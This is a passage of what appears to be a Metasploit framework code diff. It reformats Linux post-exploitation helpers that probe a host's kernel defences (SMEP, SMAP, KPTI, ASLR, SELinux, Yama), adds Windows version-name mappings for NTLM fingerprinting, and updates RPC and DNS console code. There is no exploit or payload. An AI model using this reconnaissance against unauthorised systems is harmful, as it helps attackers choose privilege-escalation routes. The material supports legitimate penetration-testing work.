unprivileged bpf is disabled - # - # @return [Boolean] - # - def unprivileged_bpf_disabled? - unprivileged_bpf_disabled = read_file('/proc/sys/kernel/unprivileged_bpf_disabled').to_s.strip - return (unprivileged_bpf_disabled == '1' || unprivileged_bpf_disabled == '2') - rescue - raise 'Could not determine kernel.unprivileged_bpf_disabled status' - end - - # - # Returns true if kernel pointer restriction is enabled - # - # @return [Boolean] - # - def kptr_restrict? - read_file('/proc/sys/kernel/kptr_restrict').to_s.strip.eql? '1' - rescue - raise 'Could not determine kernel.kptr_restrict status' - end - - # - # Returns true if dmesg restriction is enabled - # - # @return [Boolean] - # - def dmesg_restrict? - read_file('/proc/sys/kernel/dmesg_restrict').to_s.strip.eql? '1' - rescue - raise 'Could not determine kernel.dmesg_restrict status' - end - - # - # Returns mmap minimum address - # - # @return [Integer] - # - def mmap_min_addr - mmap_min_addr = read_file('/proc/sys/vm/mmap_min_addr').to_s.strip - return 0 unless mmap_min_addr =~ /\A\d+\z/ - mmap_min_addr - rescue - raise 'Could not determine system mmap_min_addr' - end - - # - # Returns true if Linux Kernel Runtime Guard (LKRG) kernel module is installed - # - def lkrg_installed? - directory?('/proc/sys/lkrg') - rescue - raise 'Could not determine LKRG status' - end - - # - # Returns true if grsecurity is installed - # - def grsec_installed? - File.exists?('/dev/grsec') && File.chardev?('/dev/grsec') - rescue - raise 'Could not determine grsecurity status' - end - - # - # Returns true if PaX is installed - # - def pax_installed? - read_file('/proc/self/status').to_s.include? 'PaX:' - rescue - raise 'Could not determine PaX status' - end - - # - # Returns true if SELinux is installed - # - # @return [Boolean] - # - def selinux_installed? - cmd_exec('id').to_s.include? 'context=' - rescue - raise 'Could not determine SELinux status' - end - - # - # Returns true if SELinux is in enforcing mode - # - # @return [Boolean] - # - def selinux_enforcing? - return false unless selinux_installed? - - sestatus = cmd_exec('/usr/sbin/sestatus').to_s.strip - raise unless sestatus.include?('SELinux') - - return true if sestatus =~ /Current mode:\s*enforcing/ - false - rescue - raise 'Could not determine SELinux status' - end - - # - # Returns true if Yama is installed - # - # @return [Boolean] - # - def yama_installed? - ptrace_scope = read_file('/proc/sys/kernel/yama/ptrace_scope').to_s.strip - return true if ptrace_scope =~ /\A\d\z/ - false - rescue - raise 'Could not determine Yama status' - end - - # - # Returns true if Yama is enabled - # - # @return [Boolean] - # - def yama_enabled? - return false unless yama_installed? - !read_file('/proc/sys/kernel/yama/ptrace_scope').to_s.strip.eql? '0' - rescue - raise 'Could not determine Yama status' - end -end # Kernel -end # Linux -end # Post + class Post + module Linux + module Kernel + include ::Msf::Post::Common + include Msf::Post::File + # + # Returns uname output + # + # @return [String] + # + def uname(opts = '-a') + cmd_exec("uname #{opts}").to_s.strip + rescue StandardError + raise "Failed to run uname #{opts}" + end + + # + # Returns the kernel release + # + # @return [String] + # + def kernel_release + uname('-r') + end + + # + # Returns the kernel version + # + # @return [String] + # + def kernel_version + uname('-v') + end + + # + # Returns the kernel name + # + # @return [String] + # + def kernel_name + uname('-s') + end + + # + # Returns the kernel hardware + # + # @return [String] + # + def kernel_hardware + uname('-m') + end + + # + # Returns the kernel hardware architecture + # Based on values from https://en.wikipedia.org/wiki/Uname + # + # @return [String] + # + def kernel_arch + arch = kernel_hardware + return ARCH_X64 if arch == 'x86_64' || arch == 'amd64' + return ARCH_AARCH64 if arch == 'aarch64' || arch == 'arm64' + return ARCH_ARMLE if arch.start_with? 'arm' + return ARCH_X86 if arch.end_with? '86' + return ARCH_PPC if arch == 'ppc' + return ARCH_PPC64 if arch == 'ppc64' + return ARCH_PPC64LE if arch == 'ppc64le' + return ARCH_MIPS if arch == 'mips' + return ARCH_MIPS64 if arch == 'mips64' + return ARCH_SPARC if arch == 'sparc' + return ARCH_RISCV32LE if arch == 'riscv32' + return ARCH_RISCV64LE if arch == 'riscv64' + return ARCH_LOONGARCH64 if arch == 'loongarch64' + + arch + end + + # + # Returns the kernel boot config + # + # @return [Array] + # + def kernel_config + release = kernel_release + output = read_file("/boot/config-#{release}").to_s.strip + return if output.empty? + + config = output.split("\n").map(&:strip).reject(&:empty?).reject { |i| i.start_with? '#' } + config + rescue StandardError + raise 'Could not retrieve kernel config' + end + + # + # Returns the kernel modules + # + # @return [Array] + # + def kernel_modules + read_file('/proc/modules').to_s.scan(/^[^ ]+/) + rescue StandardError + raise 'Could not determine kernel modules' + end + + # + # Returns a list of CPU flags + # + # @return [Array] + # + def cpu_flags + cpuinfo = read_file('/proc/cpuinfo').to_s + + return unless cpuinfo.include? 'flags' + + cpuinfo.scan(/^flags\s*:(.*)$/).flatten.join(' ').split(/\s/).map(&:strip).reject(&:empty?).uniq + rescue StandardError + raise 'Could not retrieve CPU flags' + end + + # + # Returns true if kernel and hardware supports Supervisor Mode Access Prevention (SMAP), false if not. + # + # @return [Boolean] + # + def smap_enabled? + cpu_flags.include? 'smap' + rescue StandardError + raise 'Could not determine SMAP status' + end + + # + # Returns true if kernel and hardware supports Supervisor Mode Execution Protection (SMEP), false if not. + # + # @return [Boolean] + # + def smep_enabled? + cpu_flags.include? 'smep' + rescue StandardError + raise 'Could not determine SMEP status' + end + + # + # Returns true if Kernel Address Isolation (KAISER) is enabled + # + # @return [Boolean] + # + def kaiser_enabled? + cpu_flags.include? 'kaiser' + rescue StandardError + raise 'Could not determine KAISER status' + end + + # + # Returns true if Kernel Page-Table Isolation (KPTI) is enabled, false if not. + # + # @return [Boolean] + # + def kpti_enabled? + cpu_flags.include? 'pti' + rescue StandardError + raise 'Could not determine KPTI status' + end + + # + # Returns true if user namespaces are enabled, false if not. + # + # @return [Boolean] + # + def userns_enabled? + return false if read_file('/proc/sys/user/max_user_namespaces').to_s.strip.eql? '0' + return false if read_file('/proc/sys/kernel/unprivileged_userns_clone').to_s.strip.eql? '0' + + true + rescue StandardError + raise 'Could not determine userns status' + end + + # + # Returns true if Address Space Layout Randomization (ASLR) is enabled + # + # @return [Boolean] + # + def aslr_enabled? + aslr = read_file('/proc/sys/kernel/randomize_va_space').to_s.strip + aslr.eql?('1') || aslr.eql?('2') + rescue StandardError + raise 'Could not determine ASLR status' + end + + # + # Returns true if Exec-Shield is enabled + # + # @return [Boolean] + # + def exec_shield_enabled? + exec_shield = read_file('/proc/sys/kernel/exec-shield').to_s.strip + exec_shield.eql?('1') || exec_shield.eql?('2') + rescue StandardError + raise 'Could not determine exec-shield status' + end + + # + # Returns true if unprivileged bpf is disabled + # + # @return [Boolean] + # + def unprivileged_bpf_disabled? + unprivileged_bpf_disabled = read_file('/proc/sys/kernel/unprivileged_bpf_disabled').to_s.strip + return unprivileged_bpf_disabled == '1' || unprivileged_bpf_disabled == '2' + rescue StandardError + raise 'Could not determine kernel.unprivileged_bpf_disabled status' + end + + # + # Returns true if kernel pointer restriction is enabled + # + # @return [Boolean] + # + def kptr_restrict? + read_file('/proc/sys/kernel/kptr_restrict').to_s.strip.eql? '1' + rescue StandardError + raise 'Could not determine kernel.kptr_restrict status' + end + + # + # Returns true if dmesg restriction is enabled + # + # @return [Boolean] + # + def dmesg_restrict? + read_file('/proc/sys/kernel/dmesg_restrict').to_s.strip.eql? '1' + rescue StandardError + raise 'Could not determine kernel.dmesg_restrict status' + end + + # + # Returns mmap minimum address + # + # @return [Integer] + # + def mmap_min_addr + mmap_min_addr = read_file('/proc/sys/vm/mmap_min_addr').to_s.strip + return 0 unless mmap_min_addr =~ /\A\d+\z/ + + mmap_min_addr + rescue StandardError + raise 'Could not determine system mmap_min_addr' + end + + # + # Returns true if Linux Kernel Runtime Guard (LKRG) kernel module is installed + # + def lkrg_installed? + directory?('/proc/sys/lkrg') + rescue StandardError + raise 'Could not determine LKRG status' + end + + # + # Returns true if grsecurity is installed + # + def grsec_installed? + cmd_exec('test -c /dev/grsec && echo true').to_s.strip.include? 'true' + rescue StandardError + raise 'Could not determine grsecurity status' + end + + # + # Returns true if PaX is installed + # + def pax_installed? + read_file('/proc/self/status').to_s.include? 'PaX:' + rescue StandardError + raise 'Could not determine PaX status' + end + + # + # Returns true if SELinux is installed + # + # @return [Boolean] + # + def selinux_installed? + cmd_exec('id').to_s.include? 'context=' + rescue StandardError + raise 'Could not determine SELinux status' + end + + # + # Returns true if SELinux is in enforcing mode + # + # @return [Boolean] + # + def selinux_enforcing? + return false unless selinux_installed? + + sestatus = cmd_exec('/usr/sbin/sestatus').to_s.strip + raise unless sestatus.include?('SELinux') + + return true if sestatus =~ /Current mode:\s*enforcing/ + + false + rescue StandardError + raise 'Could not determine SELinux status' + end + + # + # Returns true if Yama is installed + # + # @return [Boolean] + # + def yama_installed? + ptrace_scope = read_file('/proc/sys/kernel/yama/ptrace_scope').to_s.strip + return true if ptrace_scope =~ /\A\d\z/ + + false + rescue StandardError + raise 'Could not determine Yama status' + end + + # + # Returns true if Yama is enabled + # + # @return [Boolean] + # + def yama_enabled? + return false unless yama_installed? + + !read_file('/proc/sys/kernel/yama/ptrace_scope').to_s.strip.eql? '0' + rescue StandardError + raise 'Could not determine Yama status' + end + end # Kernel + end # Linux + end # Post end # Msf diff --git a/lib/msf/core/post/vcenter/vcenter.rb b/lib/msf/core/post/vcenter/vcenter.rb index 02c455cb5edc..c884ec4d357b 100644 --- a/lib/msf/core/post/vcenter/vcenter.rb +++ b/lib/msf/core/post/vcenter/vcenter.rb @@ -118,6 +118,7 @@ def validate_pkey(private_key) # # It returns the vcenter product banner and build number + # Cross reference https://knowledge.broadcom.com/external/article/326316/build-numbers-and-versions-of-vmware-vce.html # @return [String] of vcenter product banner and build number # def get_vcenter_build @@ -125,6 +126,7 @@ def get_vcenter_build return cmd_exec("#{vpxd_bin} -v").split("\n").last.strip end + # this file may not be getting updated any longer. On vCenter 8.0.0.10000 it reads 6.5.0.0 Build 16197320 if file_exist?(manifest_file) xml = read_file(manifest_file) xmldoc = Nokogiri::XML(xml) do |config| diff --git a/lib/msf/core/rhosts_walker.rb b/lib/msf/core/rhosts_walker.rb index b414abb214ff..f0997d1226a5 100644 --- a/lib/msf/core/rhosts_walker.rb +++ b/lib/msf/core/rhosts_walker.rb @@ -65,7 +65,7 @@ def each(&block) return unless block_given? parse(@value, @datastore).each do |result| - block.call(result) if result.is_a?(Msf::DataStore) || result.is_a?(Msf::DataStoreWithFallbacks) + block.call(result) if result.is_a?(Msf::DataStore) end nil @@ -99,7 +99,7 @@ def errors(&block) # @return [Boolean] True if all items are valid, and there are at least some items present to iterate over. False otherwise. def valid? parsed_values = parse(@value, @datastore) - parsed_values.all? { |result| result.is_a?(Msf::DataStore) || result.is_a?(Msf::DataStoreWithFallbacks) } && parsed_values.count > 0 + parsed_values.all? { |result| result.is_a?(Msf::DataStore) } && parsed_values.count > 0 rescue StandardError => e elog('rhosts walker invalid', error: e) false diff --git a/lib/msf/core/rpc/v10/rpc_core.rb b/lib/msf/core/rpc/v10/rpc_core.rb index 5f9acab5729e..def9d8094bf4 100644 --- a/lib/msf/core/rpc/v10/rpc_core.rb +++ b/lib/msf/core/rpc/v10/rpc_core.rb @@ -64,7 +64,7 @@ def rpc_setg(var, val) # @example Here's how you would use this from the client: # rpc.call('core.unsetg', 'MyGlobal') def rpc_unsetg(var) - if framework.datastore.is_a?(Msf::DataStoreWithFallbacks) + if framework.datastore.is_a?(Msf::DataStore) framework.datastore.unset(var) else framework.datastore.delete(var) diff --git a/lib/msf/core/rpc/v10/rpc_session.rb b/lib/msf/core/rpc/v10/rpc_session.rb index 3241f938bf28..54e8d1f6bfde 100644 --- a/lib/msf/core/rpc/v10/rpc_session.rb +++ b/lib/msf/core/rpc/v10/rpc_session.rb @@ -531,6 +531,7 @@ def rpc_compatible_modules(sid) postgresql mysql smb + ldap ].freeze def _find_module(_mtype, mname) @@ -545,7 +546,7 @@ def _valid_interactive_session(sid) error(500, "Unknown Session ID #{sid}") if session.nil? unless INTERACTIVE_SESSION_TYPES.include?(session.type) - error(500, "Use `interactive_read` and `interactive_write` for sessions of #{session.type} type") + error(500, "`interactive_read` and `interactive_write` not available for #{session.type} sessions") end session diff --git a/lib/msf/core/rpc/v10/service.rb b/lib/msf/core/rpc/v10/service.rb index 90f8c3b3e6d8..81dfbbb99064 100644 --- a/lib/msf/core/rpc/v10/service.rb +++ b/lib/msf/core/rpc/v10/service.rb @@ -140,11 +140,16 @@ def process(req) end end - ::Timeout.timeout(self.dispatcher_timeout) { self.handlers[group].send(mname, *msg) } + ::Timeout.timeout(self.dispatcher_timeout) do + Thread.current[:rpc_token] = token + self.handlers[group].send(mname, *msg) + end rescue ::Exception => e elog('RPC Exception', error: e) process_exception(e) + ensure + Thread.current[:rpc_token] = nil end end diff --git a/lib/msf/core/session/provider/single_command_shell.rb b/lib/msf/core/session/provider/single_command_shell.rb index 9781f8a10fc0..3decd0003d75 100644 --- a/lib/msf/core/session/provider/single_command_shell.rb +++ b/lib/msf/core/session/provider/single_command_shell.rb @@ -119,7 +119,7 @@ def set_is_echo_shell(timeout, command_separator) cmd = "echo #{numeric_token}" shell_write(cmd + "#{command_separator}echo #{token}#{command_termination}") res = shell_read_until_token(token, 0, timeout) - @is_echo_shell = res.include?(cmd) + @is_echo_shell = res ? res.include?(cmd) : false end def shell_command_token_win32(cmd, timeout=10) diff --git a/lib/msf/core/windows_version.rb b/lib/msf/core/windows_version.rb index 009fa23b7b38..eb52faee0c75 100644 --- a/lib/msf/core/windows_version.rb +++ b/lib/msf/core/windows_version.rb @@ -10,41 +10,114 @@ class WindowsVersion VER_NT_DOMAIN_CONTROLLER = 2 VER_NT_SERVER = 3 - Win2000 = Rex::Version.new('5.0.2195') - XP_SP0 = Rex::Version.new('5.1.2600.0') - XP_SP1 = Rex::Version.new('5.1.2600.1') - XP_SP2 = Rex::Version.new('5.1.2600.2') - XP_SP3 = Rex::Version.new('5.1.2600.3') - Server2003_SP0 = Rex::Version.new('5.2.3790.0') - Server2003_SP1 = Rex::Version.new('5.2.3790.1') - Server2003_SP2 = Rex::Version.new('5.2.3790.2') - Vista_SP0 = Server2008_SP0 = Rex::Version.new('6.0.6000.0') - Vista_SP1 = Server2008_SP1 = Rex::Version.new('6.0.6001.1') - Vista_SP2 = Server2008_SP2 = Rex::Version.new('6.0.6002.2') - Server2008_SP2_Update = Rex::Version.new('6.0.6003.2') # https://support.microsoft.com/en-us/topic/build-number-changing-to-6003-in-windows-server-2008-1335e4d4-c155-52eb-4a45-b85bd1909ca8 - Win7_SP0 = Server2008_R2_SP0 = Rex::Version.new('6.1.7600.0') - Win7_SP1 = Server2008_R2_SP1 = Rex::Version.new('6.1.7601.1') - Win8 = Server2012 = Rex::Version.new('6.2.9200.0') - Win81 = Server2012_R2 = Rex::Version.new('6.3.9600.0') - Win10_1507 = Win10_InitialRelease = Rex::Version.new('10.0.10240.0') - Win10_1511 = Rex::Version.new('10.0.10586.0') - Win10_1607 = Server2016 = Rex::Version.new('10.0.14393.0') - Win10_1703 = Rex::Version.new('10.0.15063.0') - Win10_1709 = Rex::Version.new('10.0.16299.0') - Win10_1803 = Rex::Version.new('10.0.17134.0') - Win10_1809 = Server2019 = Rex::Version.new('10.0.17763.0') - Win10_1903 = Rex::Version.new('10.0.18362.0') - Win10_1909 = Rex::Version.new('10.0.18363.0') - Win10_2004 = Rex::Version.new('10.0.19041.0') - Win10_20H2 = Rex::Version.new('10.0.19042.0') - Win10_21H1 = Rex::Version.new('10.0.19043.0') - Win10_21H2 = Rex::Version.new('10.0.19044.0') - Win10_22H2 = Rex::Version.new('10.0.19045.0') - Server2022 = Rex::Version.new('10.0.20348.0') - Win11_21H2 = Rex::Version.new('10.0.22000.0') - Win11_22H2 = Rex::Version.new('10.0.22621.0') - Win11_23H2 = Rex::Version.new('10.0.22631.0') - Server2022_23H2 = Rex::Version.new('10.0.25398.0') + module ServerSpecificVersions + Server2003_SP0 = Rex::Version.new('5.2.3790.0') + Server2003_SP1 = Rex::Version.new('5.2.3790.1') + Server2003_SP2 = Rex::Version.new('5.2.3790.2') + Server2008_SP0 = Rex::Version.new('6.0.6000.0') + Server2008_SP1 = Rex::Version.new('6.0.6001.1') + Server2008_SP2 = Rex::Version.new('6.0.6002.2') + Server2008_SP2_Update = Rex::Version.new('6.0.6003.2') # https://support.microsoft.com/en-us/topic/build-number-changing-to-6003-in-windows-server-2008-1335e4d4-c155-52eb-4a45-b85bd1909ca8 + Server2008_R2_SP0 = Rex::Version.new('6.1.7600.0') + Server2008_R2_SP1 = Rex::Version.new('6.1.7601.1') + Server2012 = Rex::Version.new('6.2.9200.0') + Server2012_R2 = Rex::Version.new('6.3.9600.0') + Server2016 = Rex::Version.new('10.0.14393.0') + Server2019 = Rex::Version.new('10.0.17763.0') + Server2022 = Rex::Version.new('10.0.20348.0') + Server2022_23H2 = Rex::Version.new('10.0.25398.0') + Server2025 = Rex::Version.new('10.0.26100.0') + end + + module WorkstationSpecificVersions + Win2000 = Rex::Version.new('5.0.2195') + XP_SP0 = Rex::Version.new('5.1.2600.0') + XP_SP1 = Rex::Version.new('5.1.2600.1') + XP_SP2 = Rex::Version.new('5.1.2600.2') + XP_SP3 = Rex::Version.new('5.1.2600.3') + Vista_SP0 = Rex::Version.new('6.0.6000.0') + Vista_SP1 = Rex::Version.new('6.0.6001.1') + Vista_SP2 = Rex::Version.new('6.0.6002.2') + Win7_SP0 = Rex::Version.new('6.1.7600.0') + Win7_SP1 = Rex::Version.new('6.1.7601.1') + Win8 = Rex::Version.new('6.2.9200.0') + Win81 = Rex::Version.new('6.3.9600.0') + Win10_1507 = Rex::Version.new('10.0.10240.0') + Win10_1511 = Rex::Version.new('10.0.10586.0') + Win10_1607 = Rex::Version.new('10.0.14393.0') + Win10_1703 = Rex::Version.new('10.0.15063.0') + Win10_1709 = Rex::Version.new('10.0.16299.0') + Win10_1803 = Rex::Version.new('10.0.17134.0') + Win10_1809 = Rex::Version.new('10.0.17763.0') + Win10_1903 = Rex::Version.new('10.0.18362.0') + Win10_1909 = Rex::Version.new('10.0.18363.0') + Win10_2004 = Rex::Version.new('10.0.19041.0') + Win10_20H2 = Rex::Version.new('10.0.19042.0') + Win10_21H1 = Rex::Version.new('10.0.19043.0') + Win10_21H2 = Rex::Version.new('10.0.19044.0') + Win10_22H2 = Rex::Version.new('10.0.19045.0') + Win11_21H2 = Rex::Version.new('10.0.22000.0') + Win11_22H2 = Rex::Version.new('10.0.22621.0') + Win11_23H2 = Rex::Version.new('10.0.22631.0') + Win11_24H2 = Rex::Version.new('10.0.26100.0') + end + + include WorkstationSpecificVersions + include ServerSpecificVersions + + ServerNameMapping = { + :Server2003_SP0 => "Windows Server 2003", + :Server2003_SP1 => "Windows Server 2003 Service Pack 1", + :Server2003_SP2 => "Windows Server 2003 Service Pack 2", + :Server2008_SP0 => "Windows Server 2008", + :Server2008_SP1 => "Windows Server 2008 Service Pack 1", + :Server2008_SP2 => "Windows Server 2008 Service Pack 2", + :Server2008_SP2_Update => "Windows Server 2008 Service Pack 2 Update", + :Server2008_R2_SP0 => "Windows Server 2008 R2", + :Server2008_R2_SP1 => "Windows Server 2008 R2 Service Pack 1", + :Server2012 => "Windows Server 2012 R2", + :Server2012_R2 => "Windows Server 2012 R2", + :Server2016 => "Windows Server 2016", + :Server2019 => "Windows Server 2019", + :Server2022 => "Windows Server 2022", + :Server2022_23H2 => "Windows Server 2022 version 23H2", + :Server2025 => "Windows Server 2025" + } + + WorkstationNameMapping = { + :Win2000 => "Windows 2000", + :XP_SP0 => "Windows XP", + :XP_SP1 => "Windows XP Service Pack 1", + :XP_SP2 => "Windows XP Service Pack 2", + :XP_SP3 => "Windows XP Service Pack 3", + :Vista_SP0 => "Windows Vista", + :Vista_SP1 => "Windows Vista Service Pack 1", + :Vista_SP2 => "Windows Vista Service Pack 2", + :Win7_SP0 => "Windows 7", + :Win7_SP1 => "Windows 7 Service Pack 1", + :Win8 => "Windows 8", + :Win81 => "Windows 8.1", + :Win10_1507 => "Windows 10 version 1507", + :Win10_1511 => "Windows 10 version 1511", + :Win10_1607 => "Windows 10 version 1607", + :Win10_1703 => "Windows 10 version 1703", + :Win10_1709 => "Windows 10 version 1709", + :Win10_1803 => "Windows 10 version 1803", + :Win10_1809 => "Windows 10 version 1809", + :Win10_1903 => "Windows 10 version 1903", + :Win10_1909 => "Windows 10 version 1909", + :Win10_2004 => "Windows 10 version 2004", + :Win10_20H2 => "Windows 10 version 20H2", + :Win10_21H1 => "Windows 10 version 21H1", + :Win10_21H2 => "Windows 10 version 21H2", + :Win10_22H2 => "Windows 10 version 22H2", + :Win11_21H2 => "Windows 11 version 21H2", + :Win11_22H2 => "Windows 11 version 22H2", + :Win11_23H2 => "Windows 11 version 23H2", + :Win11_24H2 => "Windows 11 version 24H2" + } + + Win10_InitialRelease = Win10_1507 module MajorRelease NT351 = 'Windows NT 3.51'.freeze @@ -60,7 +133,7 @@ module MajorRelease Server2008 = 'Windows Server 2008'.freeze Win7 = 'Windows 7'.freeze - Server2008R2 = 'Windows 2008 R2'.freeze + Server2008R2 = 'Windows Server 2008 R2'.freeze Win8 = 'Windows 8'.freeze Server2012 = 'Windows Server 2012'.freeze @@ -112,6 +185,15 @@ def domain_controller? # The name of the OS, as it is most commonly rendered. Includes Service Pack if present, or build number if Win10 or higher. def product_name + # First check if there's a specific, known version we have a string for + if windows_server? + known_version = self.class.version_string(_major, _minor, _build, ServerSpecificVersions, ServerNameMapping) + else + known_version = self.class.version_string(_major, _minor, _build, WorkstationSpecificVersions, WorkstationNameMapping) + end + return known_version unless known_version.nil? + + # Otherwise, build it up from version numbers, to the best of our ability result = "Unknown Windows version: #{_major}.#{_minor}.#{_build}" name = major_release_name result = name unless name.nil? @@ -140,6 +222,30 @@ def xp_or_2003? build_number.between?(XP_SP0, Server2003_SP2) end + # Get the string representation of the OS, given a major, minor and build number + # (as reported by an NTLM handshake). + # The NTLM structure makes no guarantee that the underlying OS of the server is + # actually Windows, so if we don't find a precise match, return nil + # + # @param major [Integer] The major build number reported in the NTLM handshake + # @param minor [Integer] The minor build number reported in the NTLM handshake + # @param build [Integer] The build build number reported in the NTLM handshake + # @return [String] The possible matching OS versions, or nil if no corresponding match can be found + def self.from_ntlm_os_version(major, minor, build) + workstation_string = self.version_string(major, minor, build, WorkstationSpecificVersions, WorkstationNameMapping) + server_string = self.version_string(major, minor, build, ServerSpecificVersions, ServerNameMapping) + + version_strings = [] + version_strings.append(workstation_string) unless workstation_string.nil? + version_strings.append(server_string) unless server_string.nil? + + if version_strings.length > 0 + version_strings.join('/') + else + nil + end + end + private attr_accessor :_major, :_minor, :_build, :_service_pack, :_revision, :product_type @@ -154,7 +260,7 @@ def major_release_name elsif _minor == 2 return MajorRelease::Server2003 if windows_server? - return MajorRelease::XP + return MajorRelease::XP # x64 Build end elsif _major == 6 if _minor == 0 @@ -183,5 +289,20 @@ def major_release_name end return nil end + + # Get a Windows OS version string representation for a given major, minor and build number + def self.version_string(major, minor, build, version_module, mapping) + sorted_versions = version_module.constants + .map { |version_sym| [version_sym, version_module.const_get(version_sym)] } + .sort_by { |_version_sym, version| version.segments } + sorted_versions.each do |version_sym, version| + segments = version.segments + if segments[0..2] == [major, minor, build] + return mapping[version_sym] + end + end + + nil + end end end diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 5599879afad6..27dfb644d0e0 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -2081,7 +2081,7 @@ def cmd_set_help print_line "datastore. Use -g to operate on the global datastore." print_line print_line "If setting a PAYLOAD, this command can take an index from `show payloads'." - print @@set_opts.usage if framework.features.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS) + print @@set_opts.usage print_line end @@ -2103,7 +2103,7 @@ def cmd_set(*args) elsif args[0] == '-a' args.shift append = true - elsif (args[0] == '-c' || args[0] == '--clear') && framework.features.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS) + elsif (args[0] == '-c' || args[0] == '--clear') args.shift clear = true else @@ -2271,7 +2271,7 @@ def cmd_setg_help print_line "Usage: setg [option] [value]" print_line print_line "Exactly like set -g, set a value in the global datastore." - print @@setg_opts.usage if framework.features.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS) + print @@setg_opts.usage print_line end @@ -2433,83 +2433,18 @@ def cmd_getg_tabs(str, words) end def cmd_unset_help - if framework.features.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS) - print_line "Usage: unset [-g] var1 var2 var3 ..." - print_line - print_line "The unset command is used to unset one or more variables." - print_line "To flush all entries, specify 'all' as the variable name." - print_line "With -g, operates on global datastore variables." - print_line - else - print_line "Usage: unset [options] var1 var2 var3 ..." - print_line - print_line "The unset command is used to unset one or more variables which have been set by the user." - print_line "To update all entries, specify 'all' as the variable name." - print @@unset_opts.usage - print_line - end + print_line "Usage: unset [-g] var1 var2 var3 ..." + print_line + print_line "The unset command is used to unset one or more variables." + print_line "To flush all entries, specify 'all' as the variable name." + print_line "With -g, operates on global datastore variables." + print_line end # # Unsets a value if it's been set. # def cmd_unset(*args) - if framework.features.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS) - return cmd_unset_with_fallbacks(*args) - end - - # Figure out if these are global variables - global = false - - if (args[0] == '-g') - args.shift - global = true - end - - # Determine which data store we're operating on - if (active_module and global == false) - datastore = active_module.datastore - else - datastore = framework.datastore - end - - # No arguments? No cookie. - if (args.length == 0) - cmd_unset_help - return false - end - - # If all was specified, then flush all of the entries - if args[0] == 'all' - print_line("Flushing datastore...") - - # Re-import default options into the module's datastore - if (active_module and global == false) - active_module.import_defaults - # Or simply clear the global datastore - else - datastore.clear - end - - return true - end - - while ((val = args.shift)) - if (driver.on_variable_unset(global, val) == false) - print_error("The variable #{val} cannot be unset at this time.") - next - end - - print_line("Unsetting #{val}...") - - datastore.delete(val) - end - end - - # - # Unsets a value if it's been set, resetting the value back to a default value - # - def cmd_unset_with_fallbacks(*args) if args.include?('-h') || args.include?('--help') cmd_unset_help return @@ -2591,7 +2526,7 @@ def cmd_unsetg_help print_line "Usage: unsetg [options] var1 var2 var3 ..." print_line print_line "Exactly like unset -g, unset global variables, or all" - print @@unsetg_opts.usage if framework.features.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS) + print @@unsetg_opts.usage print_line end diff --git a/lib/msf/ui/console/command_dispatcher/dns.rb b/lib/msf/ui/console/command_dispatcher/dns.rb index c208f462be3b..499dca1da155 100755 --- a/lib/msf/ui/console/command_dispatcher/dns.rb +++ b/lib/msf/ui/console/command_dispatcher/dns.rb @@ -37,6 +37,11 @@ class DNS ['-f'] => [true, 'Address family - IPv4 or IPv6 (default IPv4)'] ) + REORDER_USAGE = 'dns [reorder] -i '.freeze + @@reorder_opts = Rex::Parser::Arguments.new( + ['-i', '--index'] => [true, 'Index of the rule to move'] + ) + def initialize(driver) super end @@ -108,7 +113,7 @@ def cmd_dns_tabs(str, words) when 'help' # These commands don't have any arguments return subcommands.select { |sc| sc.start_with?(str) } - when 'remove','delete' + when 'remove','delete','reorder' if words[-1] == '-i' return else @@ -156,6 +161,7 @@ def cmd_dns_help(*args) print_line " #{ADD_STATIC_USAGE}" print_line " #{REMOVE_USAGE}" print_line " #{REMOVE_STATIC_USAGE}" + print_line " #{REORDER_USAGE}" print_line " dns [flush-cache]" print_line " dns [flush-entries]" print_line " dns [flush-static]" @@ -171,10 +177,11 @@ def cmd_dns_help(*args) print_line " flush-entries - Remove all configured DNS resolution entries" print_line " flush-static - Remove all statically defined hostnames" print_line " print - Show all configured DNS resolution entries" - print_line " remove - Delete a DNS resolution entry" + print_line " remove - Delete one or more DNS resolution entries" print_line " remove-static - Delete a statically defined hostname" print_line " reset-config - Reset the DNS configuration" print_line " resolve - Resolve a hostname" + print_line " reorder - Reorder one or more rules" print_line print_line "EXAMPLES:" print_line " Display help information for the 'add' subcommand" @@ -222,6 +229,8 @@ def cmd_dns(*args) cmd_dns_help(*args) when "print" print_dns + when 'reorder' + reorder_dns(*args) when "remove", "rm", "delete", "del" remove_dns(*args) when "remove-static" @@ -491,6 +500,54 @@ def remove_dns_help print_line end + def reorder_dns(*args) + reorder_ids = [] + new_id = -1 + @@remove_opts.parse(args) do |opt, idx, val| + case opt + when '-i', '--index' + raise ::ArgumentError.new("Not a valid index: #{val}") unless val.to_i > 0 + raise ::ArgumentError.new("Duplicate index: #{val}") if reorder_ids.include?(val.to_i - 1) + + reorder_ids << val.to_i - 1 + when nil + raise ::ArgumentError.new("Not a valid index: #{val}") unless (val.to_i > 0 || val.to_i == -1) + new_id = val.to_i + new_id -= 1 unless new_id == -1 + end + end + + if reorder_ids.empty? + raise ::ArgumentError.new('At least one index to reorder must be provided') + end + + reordered = resolver.reorder_ids(reorder_ids, new_id) + print_warning('Some entries were not reordered') unless reordered.length == reorder_ids.length + if reordered.length > 0 + print_good("#{reordered.length} DNS #{reordered.length > 1 ? 'entries' : 'entry'} reordered") + print_resolver_rules + end + end + + def reorder_dns_help + print_line "USAGE:" + print_line " #{REORDER_USAGE}" + print_line "If providing multiple IDs, they will be inserted at the given index in the order you provide." + print_line(@@reorder_opts.usage) + print_line "EXAMPLES:" + print_line " Move the third DNS entry to the top of the resolution order" + print_line " dns reorder -i 3 1" + print_line + print_line " Move the third and fifth DNS entries just below the first entry (i.e. becoming the second and third entries, respectively)" + print_line " dns reorder -i 3 -i 5 2" + print_line + print_line " Move the second and third DNS entries to the bottom of the resolution order" + print_line " dns reorder -i 2 -i 3 -1" + print_line " Alternatively, assuming there are 6 entries in the list" + print_line " dns reorder -i 2 -i 3 7" + print_line + end + def remove_static_dns(*args) if args.length < 1 raise ::ArgumentError.new('A hostname must be provided') @@ -604,6 +661,15 @@ def flush_static_dns print_good('DNS static hostnames flushed') end + def 